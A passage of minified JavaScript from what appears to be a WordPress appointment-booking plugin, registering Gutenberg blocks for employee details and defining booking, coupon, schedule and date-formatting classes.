"}),wp.element.createElement("path",{d:"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z"}),wp.element.createElement("path",{d:"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z"})),category:"mpa-gutenberg-blocks",keywords:[s.__("appointment","motopress-appointment")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:"string",default:""}},edit:class extends Ys{constructor(e){super(...arguments)}render(){return wp.element.createElement(Qs,null,wp.element.createElement(Ws,this.props),wp.element.createElement(Ks,null,wp.element.createElement(Gs,{block:"motopress-appointment/employee-services-list",attributes:this.props.attributes})))}},save:()=>null});const{Component:Js,Fragment:Xs}=wp.element,{PanelBody:ei,TextControl:ti}=wp.components,{InspectorControls:si}=wp.blockEditor||wp.editor;let ii=class extends Js{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(si,{key:"inspector"},wp.element.createElement(Xs,null,wp.element.createElement(ei,{title:s.__("Settings","motopress-appointment"),initialOpen:!0},wp.element.createElement(ti,{label:s.__("ID","motopress-appointment"),help:s.__("Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.","motopress-appointment"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:ni}=wp,{Component:ai,Fragment:oi}=wp.element,{Disabled:ri}=wp.components;const{registerBlockType:li}=wp.blocks;li("motopress-appointment/employee-schedule",{title:s.__("Employee Schedule","motopress-appointment"),icon:wp.element.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:"0 0 24 24"},wp.element.createElement("polygon",{points:"24,21 6,21 6,23 24,23 "}),wp.element.createElement("path",{d:"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z"}),wp.element.createElement("polygon",{points:"24,15 6,15 6,17 24,17 "}),wp.element.createElement("path",{d:"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z"}),wp.element.createElement("path",{d:"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z"})),category:"mpa-gutenberg-blocks",keywords:[s.__("appointment","motopress-appointment")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:"string",default:""}},edit:class extends ai{constructor(e){super(...arguments)}render(){return wp.element.createElement(oi,null,wp.element.createElement(ii,this.props),wp.element.createElement(ri,null,wp.element.createElement(ni,{block:"motopress-appointment/employee-schedule",attributes:this.props.attributes})))}},save:()=>null});const{Component:pi,Fragment:mi}=wp.element,{PanelBody:ci,TextControl:hi}=wp.components,{InspectorControls:di}=wp.blockEditor||wp.editor;let ui=class extends pi{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(di,{key:"inspector"},wp.element.createElement(mi,null,wp.element.createElement(ci,{title:s.__("Settings","motopress-appointment"),initialOpen:!0},wp.element.createElement(hi,{label:s.__("ID","motopress-appointment"),help:s.__("Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.","motopress-appointment"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:gi}=wp,{Component:yi,Fragment:bi}=wp.element,{Disabled:_i}=wp.components;const{registerBlockType:fi}=wp.blocks;fi("motopress-appointment/employee-content",{title:s.__("Employee Content","motopress-appointment"),icon:wp.element.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:"0 0 24 24"},wp.element.createElement("polygon",{points:"24,21 6,21 6,23 24,23 "}),wp.element.createElement("path",{d:"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z"}),wp.element.createElement("polygon",{points:"24,15 6,15 6,17 24,17 "}),wp.element.createElement("path",{d:"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z"}),wp.element.createElement("path",{d:"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z"})),category:"mpa-gutenberg-blocks",keywords:[s.__("appointment","motopress-appointment")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:"string",default:""}},edit:class extends yi{constructor(e){super(...arguments)}render(){return wp.element.createElement(bi,null,wp.element.createElement(ui,this.props),wp.element.createElement(_i,null,wp.element.createElement(gi,{block:"motopress-appointment/employee-content",attributes:this.props.attributes})))}},save:()=>null});const{Component:vi,Fragment:wi}=wp.element,{PanelBody:Ci,TextControl:Si}=wp.components,{InspectorControls:Ei}=wp.blockEditor||wp.editor;let ki=class extends vi{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(Ei,{key:"inspector"},wp.element.createElement(wi,null,wp.element.createElement(Ci,{title:s.__("Settings","motopress-appointment"),initialOpen:!0},wp.element.createElement(Si,{label:s.__("ID","motopress-appointment"),help:s.__("Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.","motopress-appointment"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:Pi}=wp,{Component:Ii,Fragment:Ti}=wp.element,{Disabled:$i}=wp.components;const{registerBlockType:Di}=wp.blocks;Di("motopress-appointment/employee-contacts",{title:s.__("Employee Contact Information","motopress-appointment"),icon:wp.element.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:"0 0 24 24"},wp.element.createElement("polygon",{points:"24,21 6,21 6,23 24,23 "}),wp.element.createElement("path",{d:"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z"}),wp.element.createElement("polygon",{points:"24,15 6,15 6,17 24,17 "}),wp.element.createElement("path",{d:"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z"}),wp.element.createElement("path",{d:"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z"})),category:"mpa-gutenberg-blocks",keywords:[s.__("appointment","motopress-appointment")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:"string",default:""}},edit:class extends Ii{constructor(e){super(...arguments)}render(){return wp.element.createElement(Ti,null,wp.element.createElement(ki,this.props),wp.element.createElement($i,null,wp.element.createElement(Pi,{block:"motopress-appointment/employee-contacts",attributes:this.props.attributes})))}},save:()=>null});const{Component:xi,Fragment:Mi}=wp.element,{PanelBody:Ai,TextControl:Bi}=wp.components,{InspectorControls:Li}=wp.blockEditor||wp.editor;let Fi=class extends xi{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(Li,{key:"inspector"},wp.element.createElement(Mi,null,wp.element.createElement(Ai,{title:s.__("Settings","motopress-appointment"),initialOpen:!0},wp.element.createElement(Bi,{label:s.__("ID","motopress-appointment"),help:s.__("Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.","motopress-appointment"),value:e,onChange:e=>{t({id:e})}}))))]}};const{serverSideRender:Ri}=wp,{Component:Oi,Fragment:Ni}=wp.element,{Disabled:Hi}=wp.components;const{registerBlockType:Vi}=wp.blocks;Vi("motopress-appointment/employee-social-networks",{title:s.__("Employee Social Networks","motopress-appointment"),icon:wp.element.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:"0 0 24 24"},wp.element.createElement("polygon",{points:"24,21 6,21 6,23 24,23 "}),wp.element.createElement("path",{d:"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z"}),wp.element.createElement("polygon",{points:"24,15 6,15 6,17 24,17 "}),wp.element.createElement("path",{d:"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z"}),wp.element.createElement("path",{d:"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z"})),category:"mpa-gutenberg-blocks",keywords:[s.__("appointment","motopress-appointment")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:"string",default:""}},edit:class extends Oi{constructor(e){super(...arguments)}render(){return wp.element.createElement(Ni,null,wp.element.createElement(Fi,this.props),wp.element.createElement(Hi,null,wp.element.createElement(Ri,{block:"motopress-appointment/employee-social-networks",attributes:this.props.attributes})))}},save:()=>null});const{Component:zi,Fragment:qi}=wp.element,{PanelBody:Ui,TextControl:ji}=wp.components,{InspectorControls:Wi}=wp.blockEditor||wp.editor;class Gi extends zi{render(){const{id:e}=this.props.attributes,{setAttributes:t}=this.props;return[wp.element.createElement(Wi,{key:"inspector"},wp.element.createElement(qi,null,wp.element.createElement(Ui,{title:s.__("Settings","motopress-appointment"),initialOpen:!0},wp.element.createElement(ji,{label:s.__("ID","motopress-appointment"),help:s.__("Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.","motopress-appointment"),value:e,onChange:e=>{t({id:e})}}))))]}}const{serverSideRender:Yi}=wp,{Component:Qi,Fragment:Ki}=wp.element,{Disabled:Zi}=wp.components;const{registerBlockType:Ji}=wp.blocks;Ji("motopress-appointment/employee-additional-info",{title:s.__("Employee Additional Information","motopress-appointment"),icon:wp.element.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:"0 0 24 24"},wp.element.createElement("polygon",{points:"24,21 6,21 6,23 24,23 "}),wp.element.createElement("path",{d:"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z"}),wp.element.createElement("polygon",{points:"24,15 6,15 6,17 24,17 "}),wp.element.createElement("path",{d:"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z"}),wp.element.createElement("path",{d:"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z"})),category:"mpa-gutenberg-blocks",keywords:[s.__("appointment","motopress-appointment")],supports:{anchor:!0,customClassName:!0},attributes:{id:{type:"string",default:""}},edit:class extends Qi{constructor(e){super(...arguments)}render(){return wp.element.createElement(Ki,null,wp.element.createElement(Gi,this.props),wp.element.createElement(Zi,null,wp.element.createElement(Yi,{block:"motopress-appointment/employee-additional-info",attributes:this.props.attributes})))}},save:()=>null})}(React,wp.date,wp.i18n,mpaData,intlTelInput)}();
+!function(){"use strict";!function(e,t,s,i,n){class a{constructor(e,t={}){this.id=e,this.setupProperties(),this.setupValues(t)}setupProperties(){}setupValues(e){for(let t in e)this[t]=e[t]}getId(){return this.id}}class o extends a{setupProperties(){super.setupProperties(),this.name=""}}class r extends a{setupProperties(){super.setupProperties(),this.name=""}}function l(e){return e.filter(((e,t,s)=>s.indexOf(e)===t))}function p(e,t){return e.filter((e=>-1!=t.indexOf(e)))}function m(e,t){let s=Math.min(e.length,t.length),i={};for(let n=0;n<s;n++)i[e[n]]=t[n];return i}function c(e,t,s=1){let i=s||1,n=Math.abs(Math.floor((t-e)/i))+1;return[...Array(n).keys()].map((t=>t*s+e))}const h="undefined"!=typeof wp&&wp.i18n&&wp.i18n.__?wp.i18n.__:(e,t="")=>e,d="undefined"!=typeof wp&&wp.i18n&&wp.i18n._x?wp.i18n._x:(e,t,s="")=>e;"undefined"!=typeof wp&&wp.i18n&&wp.i18n.sprintf&&wp.i18n.sprintf;class u extends a{setupProperties(){super.setupProperties(),this.name="",this.price=0,this.depositType="disabled",this.depositAmount=0,this.duration=0,this.bufferTimeBefore=0,this.bufferTimeAfter=0,this.timeBeforeBooking="",this.maxAdvanceTimeBeforeReservation="",this.minCapacity=1,this.maxCapacity=1,this.multiplyPrice=!1,this.isGroupServiceEnabled=!1,this.customQuantityLabel="",this.variations={},this.image="",this.thumbnail=""}getName(){return this.name}getPrice(e=0,t=0){t||(t=this.minCapacity);let s=this.getVariation("price",e,this.price);return this.multiplyPrice&&(s*=t),s}getDuration(e=0){return this.getVariation("duration",e,this.duration)}getMinCapacity(e=0){return this.getVariation("min_capacity",e,this.minCapacity)}getMaxCapacity(e=0){return this.getVariation("max_capacity",e,this.maxCapacity)}getVariation(e,t,s){return t in this.variations?this.variations[t][e]:s}setName(e){this.name=e}isGroupService(){return this.isGroupServiceEnabled}getCustomQuantityLabel(){return this.customQuantityLabel}getQuantityLabel(){return""!==this.customQuantityLabel?this.getCustomQuantityLabel():h("Clients","motopress-appointment")}}class g{static loadInBackground(e,t,s=!1){return t.findById(e.id,s).then((t=>{if(null!==t)for(let s in t)e[s]=t[s];return t}))}}let y="/motopress/appointment/v1";function b(e,t={},s="GET"){return new Promise(((i,n)=>{wp.apiRequest({path:y+e,type:s,data:t}).done((e=>i(e))).fail(((e,t)=>{let s="parsererror";s=e.responseJSON&&e.responseJSON.message?e.responseJSON.message:`Status: ${t}`,"parsererror"==s&&(s="REST request failed. Maybe PHP error on the server side. Check PHP logs."),n(new Error(s))}))}))}function _(e,t={}){return b(e,t,"GET")}function v(e,t){return b(e,t,"POST")}class f{constructor(){this.settings=this.getDefaults(),this.loadingPromise=this.load()}getDefaults(){return{plugin_name:"Appointment Booking",today:"2030-01-01",business_name:"",default_time_step:30,default_booking_status:"confirmed",confirmation_mode:"auto",terms_page_id_for_acceptance:0,allow_multibooking:!1,allow_coupons:!1,allow_customer_account_creation:!1,country:"",currency:"EUR",currency_symbol:"&euro;",currency_position:"before",decimal_separator:".",thousand_separator:",",number_of_decimals:2,timezone:"UTC",date_format:"F j, Y",time_format:"H:i",week_starts_on:0,thumbnail_size:{width:150,height:150},flatpickr_locale:"en",enable_payments:!1,active_gateways:[],reservation_received_page_url:"",failed_transaction_page_url:"",default_payment_gateway:""}}load(){return new Promise(((e,t)=>{_("/settings").then((e=>this.settings=e),(e=>console.error("Unable to load public settings.",e))).finally((()=>e(this.settings)))}))}ready(){return this.loadingPromise}getPluginName(){return this.settings.plugin_name}getBusinessDate(){return this.settings.today}getBusinessName(){return this.settings.business_name}getTimeStep(){return this.settings.default_time_step}getDefaultBookingStatus(){return this.settings.default_booking_status}getConfirmationMode(){return this.settings.confirmation_mode}getTermsPageIdForAcceptance(){return this.settings.terms_page_id_for_acceptance}isMultibookingEnabled(){return this.settings.allow_multibooking}isCouponsEnabled(){return this.settings.allow_coupons}isAllowCustomerAccountCreation(){return this.settings.allow_customer_account_creation}getCountry(){return this.settings.country}getCurrency(){return this.settings.currency}getCurrencySymbol(){return this.settings.currency_symbol}getCurrencyPosition(){return this.settings.currency_position}getDecimalSeparator(){return this.settings.decimal_separator}getThousandSeparator(){return this.settings.thousand_separator}getDecimalsCount(){return this.settings.number_of_decimals}getTimezone(){return this.settings.timezone}getDateFormat(){return this.settings.date_format}getTimeFormat(){return this.settings.time_format}getFirstDayOfWeek(){return this.settings.week_starts_on}getThumbnailSize(){return this.settings.thumbnail_size}getFlatpickrLocale(){return this.settings.flatpickr_locale}isPaymentsEnabled(){return this.settings.enable_payments}getActiveGateways(){return this.settings.active_gateways}getReservationReceivedPageUrl(){return this.settings.reservation_received_page_url}getFailedTransactionPageUrl(){return this.settings.failed_transaction_page_url}getDefaultPaymentGateway(){return this.settings.default_payment_gateway}}class w{constructor(){this.settingsCtrl=new f,this.loadingPromise=this.load()}load(){return Promise.all([this.settingsCtrl.ready()]).then((()=>this))}ready(){return this.loadingPromise}settings(){return this.settingsCtrl}static getInstance(){return null==w.instance&&(w.instance=new w),w.instance}}function C(){return w.getInstance()}const S={weekdays:{shorthand:[h("Sun","motopress-appointment"),h("Mon","motopress-appointment"),h("Tue","motopress-appointment"),h("Wed","motopress-appointment"),h("Thu","motopress-appointment"),h("Fri","motopress-appointment"),h("Sat","motopress-appointment")],longhand:[h("Sunday","motopress-appointment"),h("Monday","motopress-appointment"),h("Tuesday","motopress-appointment"),h("Wednesday","motopress-appointment"),h("Thursday","motopress-appointment"),h("Friday","motopress-appointment"),h("Saturday","motopress-appointment")]},months:{shorthand:[h("Jan","motopress-appointment"),h("Feb","motopress-appointment"),h("Mar","motopress-appointment"),h("Apr","motopress-appointment"),d("May","Month (short)","motopress-appointment"),h("Jun","motopress-appointment"),h("Jul","motopress-appointment"),h("Aug","motopress-appointment"),h("Sep","motopress-appointment"),h("Oct","motopress-appointment"),h("Nov","motopress-appointment"),h("Dec","motopress-appointment")],longhand:[h("January","motopress-appointment"),h("February","motopress-appointment"),h("March","motopress-appointment"),h("April","motopress-appointment"),d("May","Month","motopress-appointment"),h("June","motopress-appointment"),h("July","motopress-appointment"),h("August","motopress-appointment"),h("September","motopress-appointment"),h("October","motopress-appointment"),h("November","motopress-appointment"),h("December","motopress-appointment")]},amPM:["AM","PM"],firstDayOfWeek:C().settings().getFirstDayOfWeek()};function E(e,s="public"){if("string"==typeof e)return e;if("internal"==s)return E(e,"Y-m-d");if("public"==s)return t.format(C().settings().getDateFormat(),e);let i=(e,t=2)=>("00"+e).slice(-t),n=!1;return s.split("").map((t=>{if(n)return n=!1,t;switch(t){case"\\":return n=!0,"";case"j":return e.getDate();case"d":return i(e.getDate());case"D":return S.weekdays.shorthand[e.getDay()];case"l":return S.weekdays.longhand[e.getDay()];case"N":return e.getDay()||7;case"w":return e.getDay();case"z":let s=new Date(e.getFullYear(),0,1),a=s.getTimezoneOffset()-e.getTimezoneOffset(),o=e-s+60*a*1e3,r=864e5;return Math.floor(o/r);case"W":let l=new Date(Date.UTC(e.getFullYear(),e.getMonth(),e.getDate())),p=l.getUTCDay()||7;l.setUTCDate(l.getUTCDate()+4-p);let m=new Date(Date.UTC(l.getUTCFullYear(),0,1)),c=864e5;return Math.ceil(((l-m)/c+1)/7);case"F":return S.months.longhand[e.getMonth()];case"M":return S.months.shorthand[e.getMonth()];case"m":return i(e.getMonth()+1);case"n":return e.getMonth()+1;case"t":return new Date(e.getFullYear(),e.getMonth()+1,0).getDate();case"Y":return e.getFullYear();case"y":return String(e.getFullYear()).substring(2);case"L":return e.getFullYear()%4==0?1:0;case"A":return S.amPM[e.getHours()>11?1:0];case"a":return S.amPM[e.getHours()>11?1:0].toLowerCase();case"H":return i(e.getHours());case"h":return i(e.getHours()%12||12);case"G":return e.getHours();case"g":return e.getHours()%12||12;case"i":return i(e.getMinutes());case"s":return i(e.getSeconds());case"v":return i(e.getMilliseconds(),3);case"u":return i(e.getMilliseconds(),3)+"000";case"O":case"P":let h=-e.getTimezoneOffset(),d=h>=0?"+":"-",u=Math.floor(Math.abs(h)/60),g=Math.abs(h)%60,y="O"==t?"":":";return d+i(u)+y+i(g);case"Z":return 60*e.getTimezoneOffset();case"U":return Math.floor(e.getTime()/1e3);case"c":return E(e,"Y-m-d\\TH:i:sP");case"r":return E(e,"D, d M Y H:i:s O");case"S":case"o":case"B":case"e":case"T":case"I":return"";default:return t}})).join("")}function k(e){let t=e.match(/(\d{4})-(\d{2})-(\d{2})/);if(null!=t){let e=parseInt(t[1]),s=parseInt(t[2]),i=parseInt(t[3]);return new Date(e,s-1,i)}return null}function P(){let e=new Date;return e.setHours(0,0,0,0),e}class I extends a{setupProperties(){super.setupProperties(),this.status="new",this.code="",this.description="",this.type="fixed",this.amount=0,this.expirationDate=null,this.serviceIds=[],this.minDate=null,this.maxDate=null,this.usageLimit=0,this.usageCount=0}setupValues(e){for(let t of["expirationDate","minDate","maxDate"]){let s=e[t];null!=s&&""!==s&&(this[t]=k(s)),delete e[t]}super.setupValues(e)}getCode(){return this.code}isApplicableForCart(e){let t=!1;return e.items.forEach((e=>{if(this.isApplicableForCartItem(e))return t=!0,!1})),t}isApplicableForCartItem(e){return!!e.isSet()&&(!(this.serviceIds.length>0&&-1==this.serviceIds.indexOf(e.service.id))&&(!(null!=this.minDate&&e.date<this.minDate)&&!(null!=this.maxDate&&e.date>this.maxDate)))}calcDiscountAmount(e){let t=this.calcDiscountForCart(e);return Math.min(t,e.getSubtotalPrice())}calcDiscountForCart(e){let t=0;return e.items.forEach((e=>{t+=this.calcDiscountForCartItem(e)})),t}calcDiscountForCartItem(e){let t=0;if(this.isApplicableForCartItem(e)){let s=e.getPrice();switch(this.type){case"fixed":t=this.amount;break;case"percentage":t=s*this.amount/100}t=Math.min(t,s)}return t}}function T(e){return!!e}function $(e){let t=parseInt(e);return isNaN(t)?e<<0:t}class D{constructor(e){var t;this.postType=e,this.entityType=0===(t=e).indexOf("mpa_")?t.substring(4):0===t.indexOf("_mpa_")?t.substring(5):t,this.savedEntities={}}findById(e,t=!1){return e?!t&&this.haveEntity(e)&&null!=this.getEntity(e)?Promise.resolve(this.getEntity(e)):this.requestEntity(e).then((t=>{let s=this.mapRestDataToEntity(t);return this.saveEntity(e,s),s}),(t=>(this.saveEntity(e,null),null))):Promise.resolve(null)}findAll(e,t=!1){let s=[],i=[];for(let n of e)this.haveEntity(n)&&!t?i.push(this.getEntity(n)):s.push(n);return 0===s.length?Promise.resolve(i):this.requestEntities(s).then((e=>{for(let t of e){let e=this.mapRestDataToEntity(t);this.saveEntity(e.id,e),i.push(e)}return i}),(e=>[]))}requestEntity(e){return _(this.getRoute(),{id:e})}requestEntities(e){return _(this.getRoute(),{id:e})}haveEntity(e){return e in this.savedEntities}getEntity(e){return this.savedEntities[e]||null}saveEntity(e,t){this.savedEntities[e]=t}mapRestDataToEntity(e){return null}getRoute(){return`/${this.entityType}s`}}class x extends D{findByCode(e,t=!1){return _(this.getRoute(),{code:e}).then((e=>{let t=this.mapRestDataToEntity(e);return this.saveEntity(t.getId(),t),t}),(e=>{if(t)return null;throw e}))}mapRestDataToEntity(e){return new I(e.id,e)}}function M(e,t="public"){return E(e,"internal"==t?"H:i":"public"==t?C().settings().getTimeFormat():t)}function A(e){let t=e.split(":"),s=parseInt(t[0]),i=parseInt(t[1]),n=P();return n.setHours(s,i),n}class B{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartTime(e),this.setEndTime(t))}setupProperties(){this.startTime=null,this.endTime=null}parsePeriod(e){let t=e.split(" - ");this.setStartTime(t[0]),this.setEndTime(t[1])}setStartTime(e){this.startTime="string"==typeof e?A(e):new Date(e)}setEndTime(e){this.endTime="string"==typeof e?A(e):new Date(e),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}setDate(e){this.startTime.setFullYear(e.getFullYear()),this.startTime.setMonth(e.getMonth(),e.getDate()),this.endTime.setFullYear(e.getFullYear()),this.endTime.setMonth(e.getMonth(),e.getDate()),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}intersectsWith(e){return this.startTime<e.endTime&&this.endTime>e.startTime}isSubperiodOf(e){return this.startTime>=e.startTime&&this.endTime<=e.endTime}mergePeriod(e){this.startTime.setTime(Math.min(this.startTime.getTime(),e.startTime.getTime())),this.endTime.setTime(Math.max(this.endTime.getTime(),e.endTime.getTime()))}diffPeriod(e){this.startTime<e.startTime?this.endTime.setTime(Math.min(e.startTime.getTime(),this.endTime.getTime())):this.startTime.setTime(Math.max(e.endTime.getTime(),this.startTime.getTime()))}splitByPeriod(e){let t=[];return e.startTime.getTime()-this.startTime.getTime()>0&&t.push(new B(this.startTime,e.startTime)),this.endTime.getTime()-e.endTime.getTime()>0&&t.push(new B(e.endTime,this.endTime)),t}isEmpty(){return this.endTime.getTime()-this.startTime.getTime()<=0}toString(e="public",t=" - "){"internal"==e&&(t=" - ");let s="short"==e?"public":e,i=M(this.startTime,s),n=M(this.endTime,s);return"internal"!==e&&0===this.startTime.getHours()&&0===this.startTime.getMinutes()&&i===n?h("All day","motopress-appointment"):"short"==e&&i==n?i:i+t+n}}class L extends a{setupProperties(){super.setupProperties(),this.serviceId=0,this.date=null,this.serviceTime=null,this.bufferTime=null}setupValues(e){for(let t in e)"date"==t?this.setDate(e[t]):"serviceTime"==t?this.setServiceTime(e[t]):"bufferTime"==t?this.setBufferTime(e[t]):this[t]=e[t]}setDate(e){this.date="string"==typeof e?k(e):e,null!=this.serviceTime&&this.serviceTime.setDate(this.date),null!=this.bufferTime&&this.bufferTime.setDate(this.date)}setServiceTime(e){this.serviceTime="string"==typeof e?new B(e):e,null!=this.date&&this.serviceTime.setDate(this.date)}setBufferTime(e){this.bufferTime="string"==typeof e?new B(e):e,null!=this.date&&this.bufferTime.setDate(this.date)}}class F extends D{mapRestDataToEntity(e){return new L(e.id,e)}}class R{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartDate(e),this.setEndDate(t))}setupProperties(){this.startDate=null,this.endDate=null}parsePeriod(e){let t=e.split(" - ");this.setStartDate(t[0]),this.setEndDate(t[1])}setStartDate(e){this.startDate=this.convertToDate(e)}setEndDate(e){this.endDate=this.convertToDate(e)}convertToDate(e){return"string"==typeof e?k(e)||P():new Date(e)}calcDays(){let e=this.endDate.getTime()-this.startDate.getTime();return Math.round(e/1e3/3600/24)}inPeriod(e){return"string"==typeof e&&(e=k(e)),null!=e&&e>=this.startDate&&e<=this.endDate}splitToDates(){let e={};for(let t=new Date(this.startDate);t<=this.endDate;t.setDate(t.getDate()+1)){let s=E(t,"internal"),i=new Date(t);e[s]=i}return e}toString(){return E(this.startDate,"internal")+" - "+E(this.endDate,"internal")}}class O extends a{setupProperties(){super.setupProperties(),this.timetable=[],this.workTimetable=[],this.customWorkdays=[],this.daysOff={}}setupValues(e){for(let t in e)"timetable"==t?this.setTimetable(e[t]):"customWorkdays"==t?this.setCustomWorkdays(e[t]):"daysOff"==t?this.setDaysOff(e[t]):this[t]=e[t]}setTimetable(e){this.timetable=[],this.workTimetable=[],e.forEach((e=>{let t=[],s=[];e.forEach((e=>{let i=new B(e.time_period);t.push({time_period:i,location:e.location,activity:e.activity}),"work"==e.activity&&s.push({time_period:i,location:e.location})})),this.timetable.push(t),this.workTimetable.push(s)}))}setCustomWorkdays(e){this.customWorkdays=[];for(let t of e)this.customWorkdays.push({date_period:new R(t.date_period),time_period:new B(t.time_period)})}setDaysOff(e){this.daysOff={};for(let t of e){let e=new R(t).splitToDates();jQuery.extend(this.daysOff,e)}}isDayOff(e){return"string"!=typeof e&&(e=E(e,"internal")),e in this.daysOff}getWorkingHours(e,t=0){if(this.isDayOff(e))return[];if("string"==typeof e&&(e=k(e)),null==e)return[];let s=[],i=e.getDay();for(let e of this.workTimetable[i])0!=t&&e.location!=t||s.push(e.time_period);for(let t of this.customWorkdays)t.date_period.inPeriod(e)&&s.push(t.time_period);return s}}class N extends 